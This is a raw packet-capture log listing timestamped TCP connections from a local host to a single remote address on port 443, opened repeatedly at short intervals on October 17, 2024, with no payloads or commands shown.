Oct 17, 2024 10:48:20.554805994 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.554883957 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.555229902 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.558799982 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.558832884 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:21.660095930 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:21.662709951 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:21.662774086 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:22.028187037 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:22.028225899 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:22.028291941 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.028302908 CEST	443	57060	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:22.028362989 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.029413939 CEST	57060	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.031038046 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.031116962 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:22.031198025 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.031616926 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:22.031651020 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.152123928 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.158459902 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.158509016 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.526084900 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.526123047 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.526199102 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.526215076 CEST	443	57061	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.526262999 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.527247906 CEST	57061	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.528820038 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.528883934 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:23.529043913 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.529388905 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:23.529417038 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:24.913049936 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:24.916754007 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:24.916848898 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:25.288966894 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:25.288994074 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:25.289067030 CEST	443	57062	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:25.289117098 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.289266109 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.289858103 CEST	57062	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.292737961 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.292836905 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:25.293080091 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.296740055 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:25.296777010 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.376415014 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.380752087 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.380816936 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.747905970 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.747962952 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.748100996 CEST	443	57063	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.748168945 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.748842001 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.750250101 CEST	57063	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.750258923 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.750360966 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:26.750739098 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.752733946 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:26.752768993 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:27.850317955 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:27.853163958 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:27.853226900 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.214607000 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.214687109 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.214772940 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.214842081 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.214884996 CEST	443	57064	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.214936018 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.215931892 CEST	57064	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.217782021 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.217833042 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:28.217932940 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.218377113 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:28.218390942 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.311275959 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.315026045 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.315056086 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.681869984 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.681930065 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.681996107 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.682013035 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.682060003 CEST	443	57065	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.682116032 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.682775974 CEST	57065	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.684393883 CEST	57066	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.684428930 CEST	443	57066	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:29.684530973 CEST	57066	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.684938908 CEST	57066	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:29.684958935 CEST	443	57066	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:30.224092007 CEST	57066	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:30.225761890 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:30.225822926 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:30.225944042 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:30.226283073 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:30.226300001 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:30.271413088 CEST	443	57066	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:30.786571980 CEST	443	57066	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:30.786669016 CEST	57066	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.331238031 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.331460953 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.367075920 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.367156982 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.367486000 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.382807970 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.423404932 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.749643087 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.749726057 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.749809980 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.749878883 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.749918938 CEST	443	57067	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.749968052 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.750732899 CEST	57067	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.752201080 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.752245903 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:31.752310991 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.752612114 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:31.752626896 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:32.849386930 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:32.851377010 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:32.851409912 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:33.219793081 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:33.219850063 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:33.219924927 CEST	443	57068	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:33.219958067 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.220096111 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.220875025 CEST	57068	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.224778891 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.224819899 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:33.225116968 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.228764057 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:33.228776932 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.322552919 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.325831890 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.325856924 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.696075916 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.696141958 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.696276903 CEST	443	57069	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.696306944 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.696377993 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.698209047 CEST	57069	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.698209047 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.698254108 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:34.698518038 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.698942900 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:34.698962927 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:35.796006918 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:35.798139095 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:35.798149109 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:36.168890953 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:36.168924093 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:36.169027090 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.169034958 CEST	443	57070	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:36.169096947 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.169960976 CEST	57070	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.170943022 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.170991898 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:36.171082020 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.171441078 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:36.171453953 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.266380072 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.271023035 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.271053076 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.636164904 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.636198044 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.636254072 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.636277914 CEST	443	57071	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.636317015 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.637197018 CEST	57071	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.640001059 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.640044928 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:37.640110970 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.640496016 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:37.640508890 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:38.742105007 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:38.744283915 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:38.744319916 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:39.114015102 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:39.114075899 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:39.114197016 CEST	443	57072	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:39.114207983 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.114360094 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.115207911 CEST	57072	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.116509914 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.116563082 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:39.116641998 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.117060900 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:39.117079973 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.219479084 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.221499920 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.221589088 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.596074104 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.596111059 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.596187115 CEST	443	57073	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.596206903 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.596277952 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.596875906 CEST	57073	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.598193884 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.598238945 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:40.598376036 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.598581076 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:40.598597050 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:41.670103073 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:41.672544956 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:41.672581911 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:42.031855106 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:42.031888008 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:42.031946898 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.031961918 CEST	443	57074	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:42.032026052 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.032793045 CEST	57074	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.034089088 CEST	57075	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.034178019 CEST	443	57075	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:42.034259081 CEST	57075	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.034521103 CEST	57075	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:42.034549952 CEST	443	57075	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:43.021130085 CEST	57075	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:43.024705887 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:43.024756908 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:43.024899960 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:43.025465012 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:43.025474072 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:43.067401886 CEST	443	57075	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:43.137666941 CEST	443	57075	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:43.137819052 CEST	57075	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.153049946 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.153139114 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.156754971 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.156774998 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.157463074 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.159267902 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.203408003 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.533140898 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.533183098 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.533277035 CEST	443	57076	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.533323050 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.533457994 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.534214020 CEST	57076	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.536325932 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.536401033 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:44.536603928 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.537019014 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:44.537039042 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.626899004 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.629151106 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.629195929 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.996757030 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.996823072 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.996897936 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.996933937 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.997071981 CEST	443	57077	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.997129917 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.997679949 CEST	57077	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.999166012 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.999205112 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:45.999279976 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.999707937 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:45.999728918 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.098210096 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.101556063 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.101622105 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.466180086 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.466228962 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.466305017 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.466327906 CEST	443	57078	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.466439009 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.467236042 CEST	57078	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.469033003 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.469080925 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:47.469145060 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.469476938 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:47.469489098 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.550614119 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.554383993 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.554414034 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.914213896 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.914253950 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.914333105 CEST	443	57079	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.914335012 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.914436102 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.914987087 CEST	57079	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.916131973 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.916172981 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:48.916416883 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.916670084 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:48.916687965 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.000950098 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.006433964 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.006448984 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.365971088 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.366034985 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.366175890 CEST	443	57080	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.366238117 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.367013931 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.379740000 CEST	57080	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.392842054 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.392893076 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:50.393160105 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.396348000 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:50.396368980 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.489490032 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.491946936 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.491977930 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.852758884 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.852828026 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.852901936 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.852921963 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.852989912 CEST	443	57081	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.853037119 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.853724003 CEST	57081	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.855104923 CEST	57082	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.855129004 CEST	443	57082	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:51.855192900 CEST	57082	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.855552912 CEST	57082	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:51.855561972 CEST	443	57082	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.506958008 CEST	57082	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.507179022 CEST	57083	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.507235050 CEST	443	57083	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.507375956 CEST	57083	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.510926962 CEST	57083	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.510946989 CEST	443	57083	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.551403999 CEST	443	57082	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.678653002 CEST	57083	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.678652048 CEST	57084	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.678703070 CEST	443	57084	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.678992033 CEST	57084	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.682703972 CEST	57084	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:52.682723999 CEST	443	57084	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.719414949 CEST	443	57083	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.946929932 CEST	443	57082	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.947308064 CEST	443	57082	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:52.947438002 CEST	57082	443	192.168.2.4	103.191.208.122
